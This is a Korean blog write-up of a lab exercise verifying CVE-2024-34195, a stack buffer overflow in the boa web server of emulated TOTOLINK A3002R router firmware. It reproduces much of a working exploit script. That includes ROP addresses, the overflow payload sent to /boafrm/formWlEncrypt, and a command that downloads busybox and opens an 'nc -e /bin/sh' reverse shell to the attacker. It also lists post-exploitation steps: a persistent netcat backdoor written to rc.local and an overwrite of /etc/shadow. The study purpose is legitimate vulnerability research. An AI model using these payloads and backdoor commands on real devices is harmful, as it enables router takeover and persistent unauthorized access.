[1-day] CVE-2024-34195 검증

goldenGlow_21·2025년 3월 19일

준비

에뮬레이터 구동

sudo ./run.sh -d tolink TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web

boa 서버 확인

ps | grep boa

  • /bin/boagrep boa 2개가 나와야 함

ASLR 설정

echo 0 > /proc/sys/kernel/randomize_va_space

boa 웹서버 시작

boa &

  • ~# Enabling OpenSSL security system 문구가 출력될 것

exp 가하기

python3 ./exp.py

  • 에뮬레이터 측 쉘에서 mipsel busybox 건드리고 화살표 출력
  • saved 뜬 후 로컬 쉘에서 파일/디렉토리 목록 출력됨
  • 에뮬레이터 측 쉘에서 ls 입력해 결과 비교해볼 것

Exploit - exp.py

코드 개요

  • invokeformLogin() → 라우터 웹 인터페이스에 로그인 요청을 보냄
  • attack() → Exploit을 수행하여 원격 코드 실행을 시도
  • Exploit 페이로드(cmd)wget을 이용해 busybox-mipsel을 다운로드하고 nc(netcat)로 리버스 쉘을 연결
  • nc -lvnp 2333 실행하여 공격자 머신에서 연결을 대기

구성요소 분석

invokeformLogin()

def invokeformLogin():
    url = "http://192.168.0.1/boafrm/formLogin"
    headers = {
        "Host": "192.168.0.1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": "http://192.168.0.1",
        "Connection": "close",
        "Referer": "http://192.168.0.1/login.htm"
    }

    data = {
        "topicurl": "setting/setUserLogin",
        "username": "admin",
        "userpass": "admin",
        "submit-url": "/login.htm"
    }

    requests.post(url, headers=headers, json=data)
  • 라우터(192.168.0.1)의 로그인 API(/boafrm/formLogin에 POST 요청)
    • username="admin", userpass="admin"으로 기본 관리자 계정을 사용하여 로그인 시도
  • 헤더 정보 포함
    • User-Agent, Referer, Origin 등 정상적인 웹 브라우저처럼 보이도록 요청 구성
  • 로그인 세션 획득
    • 정상적으로 로그인되면 세션 쿠키가 설정, 이후 공격을 위해 유지

attack()

def attack():
    io = remote('192.168.0.1',80)
    server_process = subprocess.Popen(['python', '-m', 'http.server'])
    sleep(2)
  • 타겟 라우터(192.168.0.1)의 80번 포트와 연결을 시도
  • 로컬 머신(공격자)에서 python3 -m http.server 실행
    • 포트 8000에서 HTTP 서버를 시작하여 Exploit 실행 중 필요한 파일(busybox-mipsel)을 제공
  • 2초 대기 (sleep(2))
    • HTTP 서버가 정상적으로 실행되도록 기다림

Exploit 페이로드 구성

try:
    libc_base = 0x77cef000
    system = libc_base + 0x00031930
    ra = libc_base + 0x00014F70 
    s2 = libc_base + 0x00031D04
    ra_ = libc_base + 0x00008084
    s5 = system
  • Exploit에서 사용할 메모리 주소를 설정
  • libc_baseuClibc의 기본 로드 주소(0x77cef000)
  • system 함수 주소(libc_base + 0x00031930): system() 호출을 위해 사용
  • ra, s2, ra_ 등 레지스터 조작: ROP(Return-Oriented Programming) 공격 수행

Exploit 실행 (cmd 페이로드)

cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
  • 공격자(192.168.0.2)로부터 busybox-mipsel 다운로드
  • 3초 대기 (sleep 3)
  • 실행 권한 부여
  • 리버스 쉘 실행 (nc 192.168.0.2 2333 -e /bin/sh)
    - 공격자(192.168.0.2)가 nc -lvnp 2333으로 대기 중
    - 타겟(192.168.0.1)에서 공격자로 nc를 실행하여 원격 셸을 제공

페이로드 전달 방식

payload_factory = b'submit-url=%2Fwlsecurity.htm...'
payload_factory +=  b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
  • 버퍼 오버플로우를 발생시켜 스택을 조작하고 system() 실행을 유도
  • cmd(쉘 실행 명령어)가 직접 포함되어 있음

Exploit 실행

payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
...
payload += payload_factory
io.send(payload)
io.close()
  • BOA 웹서버의 formWlEncrypt 엔드포인트로 Exploit 페이로드 전송
  • Exploit 성공 시 cmd 실행 - 리버스 쉘 연결 시도

공격자 머신에서 리버스 쉘 대기

result = subprocess.run(f'nc -lvnp 2333', shell=True)
  • 공격자 머신에서 포트 2333을 열어 타겟이 연결되길 기다림
  • 정상적으로 셸이 연결되면 Exploit 성공

마무리

server_process.terminate()
  • Exploit 실행 후, HTTP 서버 종료

동작 방식 정리

  • 라우터 관리자 계정(admin:admin)으로 로그인
  • Exploit을 실행하여 원격 코드 실행(RCE) 시도
  • busybox-mipsel을 다운로드하여 실행 후 nc로 리버스 쉘 연결
  • 공격자 머신에서 nc -lvnp 2333을 실행하여 타겟에서 연결되길 대기
  • 성공하면 타겟(라우터)의 쉘을 얻음

Exploit - 에뮬레이팅

  • Connection Received ~ 메시지와 함께 쉘이 획득된 모습

  • 에뮬레이터(타겟) 측 - 공격자로부터 busybox를 전달받아 저장한 모습

  • 로컬(공격자) 측 - 쉘 획득 후, 특별한 표식($, # 등)은 없지만 터미널 명령어로 타겟의 파일 시스템에 접근, 열람 가능함을 확인

  • 에뮬레이터(타겟) 측 - ls 명령어로 공격자의 접근 및 쉘 획득 결과의 유효성을 검증
  • 올바르게 접근하여 쉘 획득하였음을 확인

Exploit - 추가

의문점 및 추가 조사 항목

  • 최초의 연결(exp.py 실행) 시도에는 SSL Certificate 획득 실패, 이후 재시도하면 연결 성공하는 이유는?
  • url = "http://192.168.0.1/boafrm/formLogin"에 연결을 시도하는 이유?
    - 저 엔드포인트를 어떻게 알아내었는가?
    - boa 웹서버의 특징이자 형식인가?
  • boa 웹서버가 실행 중임을 확인했는데, boa &을 다시 입력하는 이유는 무엇인가?
  • exp.py에 기본적으로 제시된 libc의 주소가 gdb로 확인한 것과 다르다. aslr을 해제한 것과 연관이 있나?
    - gdb로 확인한 값을 넣어 돌리면 SIGSEV가 발생

과정 단계별 분석

VMware 가상 머신 (NAT 모드) 구동

  • NAT(Network Address Translation) 모드는 가상 머신(VM)이 호스트(실제 PC)를 통해 인터넷에 연결할 수 있도록 설정하는 방식
  • VM이 직접 네트워크에 노출되지 않고, 호스트 OS를 통해 외부 네트워크와 통신

FirmAE 폴더에 busybox-mipselexp.py 복사 & 터미널 준비

  • 미리 준비한 busybox-mipselexp.py를 해당 폴더에 준비
  • 터미널 2개 준비
    - 하나는 에뮬레이터 실행용 (타겟)
    - 다른 하나는 익스플로잇 실행용 (공격자)

busybox-mipsel이 필요한 이유

  • TOTOLINK 펌웨어는 MIPS 아키텍처 기반의 임베디드 리눅스 환경
  • 일반적인 x86_64 시스템에서 사용하는 busybox를 그대로 실행할 수 없음
  • MIPS Little Endian(mipsel)용 busybox 바이너리를 별도로 준비해야 함

busybox-mipsel 역할

  • 임베디드 시스템에서 기본적인 명령어(nc, wget, sh 등)를 실행할 수 있도록 지원
  • 기본적으로 nc(netcat)가 없는 환경에서도 리버스 쉘을 실행할 수 있도록 함

exp.py를 FirmAE 폴더에 넣은 이유

  • exp.py는 실제 익스플로잇을 수행하는 Python 스크립트
  • 타겟(에뮬레이팅된 TOTOLINK 펌웨어)의 웹 서버(boa)에 요청을 보냄
  • 취약점을 이용해 원격 코드 실행(RCE) 가능하도록 함
  • 리버스 쉘을 생성해 공격자에게 연결
  • 이때, FirmAE는 가상 머신 내부에서 실행되므로 Exploit도 같은 환경에서 실행해야 함

FirmAE 에뮬레이터 구동

sudo ./run.sh -d tolink TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web

FirmAE란?

  • FirmAE는 임베디드 시스템(라우터, IoT 기기)의 펌웨어를 가상 머신에서 실행할 수 있도록 지원하는 도구
  • 일반적인 x86_64 기반의 운영체제에서는 MIPS, ARM 등 다른 아키텍처의 바이너리를 실행할 수 없음
  • FirmAE는 QEMU(가상 CPU 에뮬레이터)를 사용해 MIPS 환경을 시뮬레이션

명령어 분석

  • sudo
    - FirmAE는 가상 네트워크 인터페이스를 설정하고 루트 권한이 필요한 명령어를 실행하므로 관리자 권한이 필요

  • ./run.sh
    - FirmAE의 실행 스크립트(run.sh)
    - 내부적으로 QEMU를 실행하여 펌웨어를 로드하고, 네트워크 인터페이스를 설정하며, 웹 서버(BOA) 등을 자동 실행

  • -d
    - "Debug Mode" (디버그 모드)
    - 더 많은 로그를 출력하며, FirmAE의 내부 동작을 확인할 수 있음
    - 익스플로잇을 시도하기 전에, 정상적으로 부팅되었는지 확인할 때 유용

  • tolink
    - tolink는 TOTOLINK 펌웨어를 실행할 것임을 의미
    - FirmAE는 여러 제조사의 펌웨어를 지원하며, tolink는 TOTOLINK 제품군을 의미

  • TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
    - 실제 분석 대상인 TOTOLINK A3002R 라우터의 펌웨어 파일

실행 과정에서 FirmAE의 동작

1) QEMU로 펌웨어 실행

  • FirmAE는 내부적으로 QEMU를 사용하여 MIPS CPU를 가상으로 실행

  • 실행된 QEMU는 펌웨어 내부의 커널을 부팅하고, 임베디드 리눅스 시스템을 실행

    2) 가상 네트워크 인터페이스 생성

  • FirmAE는 가상 네트워크(tap 또는 bridge 인터페이스)를 생성하여 호스트(우분투 VM)와 타겟(FirmAE) 간의 통신을 가능하게 함

  • 이 덕분에 공격자(우분투 VM)와 타겟(펌웨어) 간에 Exploit을 수행할 수 있음

    3) 펌웨어 내부에서 boa 웹서버 실행

  • 대부분의 라우터 펌웨어는 관리자 페이지를 제공하기 위해 웹 서버를 포함하고 있음

  • TOTOLINK 펌웨어에서는 경량 웹서버인 boa가 실행됨

    4) 펌웨어의 주요 서비스 구동

  • 펌웨어 내부에서 DNS 서비스(dnsmasq), DHCP 서버(udhcpd), 방화벽(iptables) 등이 실행될 수 있음

ps | grep boa 명령어로 boa 웹서버 실행 확인

ps | grep boa

ps | grep boa의 의미

  • ps: 현재 실행 중인 프로세스를 출력하는 명령어
  • |: 파이프 연산자, 앞의 명령어 출력을 뒤의 명령어로 전달
  • grep boa: 출력된 프로세스 목록에서 "boa"라는 문자열을 포함한 행만 필터링

boa 웹서버란

  • boa는 TOTOLINK 라우터 펌웨어에서 실행되는 경량 웹서버
  • 임베디드 시스템(라우터, IoT 기기)에서 관리자 페이지를 제공하는 HTTP 서버
  • 일반적인 Apache, Nginx와 달리 리소스가 적게 사용되며, MIPS 환경에서 빠르게 동작하도록 설계됨
  • 웹 인터페이스 /boafrm/formLogin, /boafrm/formWlEncrypt 등의 요청을 처리

boa 웹서버가 실행 중인지 확인해야 하는 이유

  • Exploit 대상이 웹 애플리케이션이기 때문

    • exp.pyhttp://192.168.0.1/boafrm/formLogin 같은 URL에 요청을 보내서 익스플로잇을 시도
    • 따라서 웹서버가 실행 중이지 않으면 익스플로잇이 정상적으로 수행되지 않음
  • 라우터 관리자 페이지를 공격하려면 웹서버가 필요함

    • 대부분의 라우터는 웹 인터페이스를 통해 설정을 변경
    • TOTOLINK 라우터도 웹 UI를 통해 와이파이 비밀번호 변경, 포트 포워딩 설정, 펌웨어 업데이트 등을 수행
    • boa가 실행 중이어야 이 기능을 공격할 수 있음
  • Exploit 수행 전, 환경이 정상적으로 구동되었는지 확인하기 위해

    • boa가 실행되지 않는다면, exp.py 실행 시 "Connection Refused" (연결 거부) 오류가 발생할 수 있음
    • ps | grep boa를 통해 웹서버가 정상적으로 실행되는지 확인하면 불필요한 오류를 방지할 수 있음

의문점 - libuClibc 주소 찾기 / boa의 재시작?

문제 설명
  • author에 따르면 exp.py에 fix된 libuClibc의 base 주소는 ASLR이 꺼진 상태에서의, 고정된 메모리 주소
    - 그렇다면 이 값을 어떻게 찾아볼 수 있는가?
  • 에뮬레이팅 시작 시 자동적으로 구동된 boa가 있음에도 boa & 으로 웹 서버를 재시작 하는 이유는?
해설
  1. boa의 재시작은 ASLR 비활성화의 적용을 위한 것으로 판단
  2. 최초 에뮬레이팅 시의 boa 웹 서버와 그것이 사용하는 lib에는 ASLR이 적용된 상태
  3. echo 0 > /proc/sys/kernel/randomize_va_space 명령어로 ASLR을 비활성화시켜도 최초의 '랜덤화'는 제거되지 않기에, 프로세스를 재시작하여 ASLR이 비활성화된(고정된) 메모리 주소를 획득하는 것
  4. 즉, 고정된 libuClibc 의 주소를 얻는 방법은 아래와 같음
    • 최초 에뮬레이팅 후 boa를 kill
    • echo 0 > /proc/sys/kernel/randomize_va_space 로 ASLR 비활성화
    • boa & 으로 웹 서버 재시작
    • 이 시점에서 프로세스들의 메모리 주소 값은 고정됨
    • ps 명령어로 새로이 시작된 boa 프로세스의 pid 확인
    • cat /proc/{pid}/maps | grep "libuClibc" 명령어로 fix된 libuClibc 의 base 주소 확보

ASLR 비활성화

echo 0 > /proc/sys/kernel/randomize_va_space

ASLR이란

  • ASLR(Address Space Layout Randomization, 주소 공간 배치 랜덤화)
  • 프로세스의 메모리 주소를 실행할 때마다 무작위로 변경하는 보안 기법
  • Exploit이 특정 메모리 주소를 공격하지 못하도록 방어하는 역할
  • 즉, ASLR이 활성화되어 있으면 libcstack 등의 주소가 실행할 때마다 바뀌므로, Exploit 코드에서 메모리 주소를 미리 예측하기 어려움

ASLR 비활성화 명령어 분석

  • /proc/sys/kernel/randomize_va_space
    - ASLR 설정을 제어하는 커널의 가상 파일
  • 기본값 (2) → ASLR 활성화됨
    - 모든 메모리 영역이 랜덤 배치
  • 값을 0으로 설정하면 ASLR이 완전히 비활성화

ASLR 0/1/2

ASLR 값StackHeap.so
0FixFixFix
1ShuffleFixShuffle
2ShuffleShuffleShuffle

ASLR을 비활성화해야 하는 이유

1) Exploit에서 메모리 주소를 정확하게 지정해야 하기 때문

  • exp.py에서 사용하는 libc_base 값은 ASLR이 비활성화되었을 때의 uClibc 베이스 주소를 의미
  • ASLR이 활성화된 상태에서 실행하면 매번 libc_base 값이 바뀌므로, Exploit이 실패할 가능성이 높음

2) 정적 분석과 동적 분석 결과를 일치시키기 위해

  • 정적 분석(binwalk, IDA, Ghidra 등)으로 찾은 주소가 ASLR이 활성화된 상태에서는 일치하지 않음
  • ASLR을 비활성화하면, GDB에서 vmmap으로 확인한 주소가 항상 동일하게 유지됨

3) Exploit 과정에서 특정 메모리 주소를 예측할 수 있어야 하기 때문

  • Exploit 코드에서 메모리 주소를 지정할 때, system() 함수 주소 같은 값들이 정확해야 함
  • ASLR이 켜져 있으면 Exploit 실행 시 SIGSEGV(Segmentation Fault, 메모리 접근 오류)가 발생할 수 있음

ASLR 비활성화 여부 확인

cat /proc/sys/kernel/randomize_va_space

  • 0 → ASLR 비활성화됨
  • 2 → ASLR 활성화됨

dmesg | grep randomize

  • 위와 마찬가지

gdb -p <BOA_PID>
or
vmmap

  • libc의 주소가 매번 같으면 ASLR이 꺼진 상태

boa & 명령어로 웹 서버 재시작

boa &

boa & 명령어의 의미

  • boa: 웹 서버 실행 명령어
  • &: 백그라운드 실행 연산자 → 터미널을 점유하지 않고 실행

exp.py 실행하여 익스플로잇 개시

python3 ./exp.py

exp.py 에 대하여

  • boa 웹서버에서 발견된 취약점을 이용하여 원격 코드 실행(RCE)을 수행하는 Exploit 코드
  • exp.py를 실행하면, 라우터 웹서버에 HTTP 요청을 보내 취약점을 공략
  • 라우터에서 wget을 통해 busybox-mipsel을 다운로드하고 nc(netcat)로 공격자와 리버스 쉘을 연결

실행 과정

1) 관리자 계정(admin:admin)으로 로그인 시도

def invokeformLogin():
    url = "http://192.168.0.1/boafrm/formLogin"
    ...
    data = {
        "topicurl": "setting/setUserLogin",
        "username": "admin",
        "userpass": "admin",
        "submit-url": "/login.htm"
    }
    requests.post(url, headers=headers, json=data)
  • http://192.168.0.1/boafrm/formLogin에 로그인 요청을 보냄
  • username="admin", userpass="admin" → 기본 관리자 계정을 이용하여 로그인 시도

2) boa 웹서버에 Exploit 페이로드 전송

io = remote('192.168.0.1',80)
...
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
  • boa 웹서버의 특정 엔드포인트 /boafrm/formWlEncrypt에 요청을 보내서 취약점을 트리거

3) busybox-mipsel 다운로드 및 실행

cmd = b'wget http://192.168.0.2:8000/busybox-mipsel; sleep 3; chmod 777 ./busybox-mipsel; ./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
  • wget으로 공격자 머신에서 busybox-mipsel을 다운로드
  • 실행 권한을 부여 (chmod 777)
  • nc(netcat)으로 공격자에게 리버스 쉘 연결 시도

4) 공격자 터미널에서 nc로 연결 대기

result = subprocess.run(f'nc -lvnp 2333', shell=True)
  • 공격자 터미널에서 포트 2333을 열어 리버스 쉘 연결을 대기

의문점 - Failure Initializing SSL Support

  • boa가 처음 실행될 때 HTTPS 관련 라이브러리를 초기화하는 과정에서 오류가 발생할 수 있음
  • boa &로 백그라운드 실행한 직후라 완전히 초기화되지 않은 상태에서 요청을 보냈을 가능성
    - 아님
  • 다만 아직 건실한 가설은 얻지 못함

의문점 - 이 엔드포인트를 어떻게 알아냈는가?

  • exp.py 중간에 등장하는 ref. 페이지 중 하나인 wlsecurity.htm, login.htm 등을 참조하여 알아볼 것

Exploit 실행 후 리버스 쉘 획득

[+] Connection received from 192.168.0.1:~
(루트 셸 획득됨)

+@: 리버스 쉘에서 가능한 공격

라우터 설정 확인

cat /etc/passwd
  • 시스템에 존재하는 계정 목록 확인

네트워크 설정 확인

ifconfig
  • 네트워크 인터페이스 정보 확인

펌웨어 내부 파일 접근

cd /etc
ls -al
  • 라우터 설정 파일 등 확인

원격 백도어 유지

echo "nc -lvp 4444 -e /bin/sh" >> /etc/init.d/rc.local
  • 라우터가 재부팅되더라도 공격자가 다시 접속할 수 있도록 백도어 추가

펌웨어 설정 변경

echo "new_password" > /etc/shadow
  • 관리자 계정의 비밀번호를 변경하여 공격자가 지속적인 접근 가능

취약점과 Exploit

취약점 분석

int __fastcall setWlan(int a1, int a2, int a3)
{
  int v7; // [sp+18h] [-3Ch] BYREF
  char v8[12]; // [sp+1Ch] [-38h] BYREF
  char v9[44]; // [sp+28h] [-2Ch] BYREF

  apmib_save_wlanIdx();
  sprintf(v8, "wlan%d-vxd", a1);  // WLAN 인터페이스 이름 생성
  sub_422694(v8);
  apmib_get(1, v9);  // SSID 값 가져오기
  if ( strcmp(v9, a3) && strcmp(a3, v9) ) // SSID 값 비교
  {
    v7 = 1;
    apmib_set(0x110, &v7);
    strcpy(v9, a3);
    apmib_set(1, v9);
    apmib_set(0x116, v9);
    apmib_set(a2, v9);
  }
  sprintf(v8, "wlan%d", a1);
  sub_422694(v8);
  return apmib_recov_wlanIdx();
}
  • 사용자가 제공한 SSID 값(a3)이 v9[44] 버퍼에 길이 제한 없이 복사됨
  • strcpy(v9, a3);에서 BOF 발생 가능 → 입력값이 너무 길면 스택 메모리 오버플로우 발생

Exploit의 핵심

  • wlan_ssid 필드에 특정 길이 이상의 데이터를 입력하여 스택을 덮어씌울 수 있음
  • 함수의 반환 주소(RET)를 조작하여 임의의 코드를 실행할 수 있음

vwlan_idx 필드 조작

  • BOF가 정상적으로 트리거되려면, vwlan_idx 값이 5 이상이어야 함
  • vwlan_idx는 SSID 설정 요청을 처리하는 과정에서 사용됨
  • formWlanRedirect CGI 핸들러를 이용해 조작 가능

Exploit 코드 분석 - BOF

Payload 제작

payload_factory = b'submit-url=%2Fwlsecurity.htm\
    &opmode_wizard=&staControlPrefer=0\
    &staControlEnabled=0&80211v_enable_=disable\
    &dot11k_=disable&SSID_Setting5=1\
    &has_vwlan5=&wpaAuth5=psk\
    &wpa11w5=none&wpa2EnableSHA2565=disable\
    &ciphersuite5=aes&wpa2ciphersuite5=aes\
    &wps_clear_configure_by_reg5=0\
    &wlan_disabled5=0&wlan_ssid5='
payload_factory +=  b"A"*44 + b"C"*4 + b"B"*4 + p32(s2) + b"B"*4 + p32(ra) + b"A"*56 + p32(s5) + p32(ra_) + b"X"*24 + cmd
  • wlan_ssid5=' → SSID 필드에 BOF 페이로드를 삽입
  • "A"*44 → 버퍼를 덮어씌움
  • "C"*4 + "B"*4 + p32(s2) → 저장된 레지스터 조작
  • p32(ra) → RET(Return Address) 덮어씌움
  • p32(s5) + p32(ra_)system() 함수를 호출하는 구조

Exploit의 흐름

  1. formWlanRedirect 요청을 보내 vwlan_idx 값을 5 이상으로 설정
  2. formWlEncrypt에 BOF 페이로드를 포함한 HTTP POST 요청을 보냄
  3. SSID 필드(wlan_ssid5)에 너무 긴 문자열을 넣어 스택을 덮어씌움
  4. 함수의 반환 주소를 조작하여 system() 함수를 호출
  5. 라우터에서 wget을 실행하여 공격자의 busybox-mipsel을 다운로드하고 실행
  6. 라우터가 공격자에게 nc(netcat)로 리버스 쉘을 연결

라우터의 스택을 덮어씌운 후, 공격자가 원하는 명령을 실행하여 nc를 이용한 리버스 쉘을 확보

Exploit 코드 분석 - 쉘 획득

cmd = b'wget http://192.168.0.2:8000/busybox-mipsel; sleep 3; chmod 777 ./busybox-mipsel; ./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'

1. BOF 성공 후 system() 실행

  • BOF로 인해 system() 함수가 실행됨
  • system("wget http://192.168.0.2:8000/busybox-mipsel") 실행

2. busybox-mipsel 다운로드 및 실행

  • wget을 사용해 공격자의 서버에서 busybox-mipsel을 다운로드
  • 다운로드된 바이너리를 실행하여 nc(netcat) 실행

3. nc를 이용해 공격자에게 리버스 쉘 연결

  • 라우터(타겟) → 공격자 머신(192.168.0.2)로 리버스 쉘 전송
  • 공격자 터미널에서 nc -lvnp 2333 실행 중이므로, 연결이 수립되면 공격자가 라우터 내부에서 명령을 실행할 수 있음

동적분석 - pwndbg

수행 과정

  • vim 으로 PoC코드쪽에 만들기:
# mipsel.cmd
set architecture mips
set endian little
set follow-fork-mode parent
target remote 192.168.0.1:1337
  • ASLR 비활성화

echo 0 > /proc/sys/kernel/randomize_va_space

  • boa 실행

boa

  • pid값 확인

ps | grep boa

  • 에뮬레이터에서 gdb 서버 실행(원격 디버깅 위해)

/firmadyne/gdbserver 192.168.0.1:1337 --attach {pid}

  • 공격자 PC (mipsel.cmd파일이 있는 폴더) 에서 실행

sudo gdb-multiarch -x ./mipsel.cmd

profile
안드로이드는 리눅스의 꿈을 꾸는가

0개의 댓글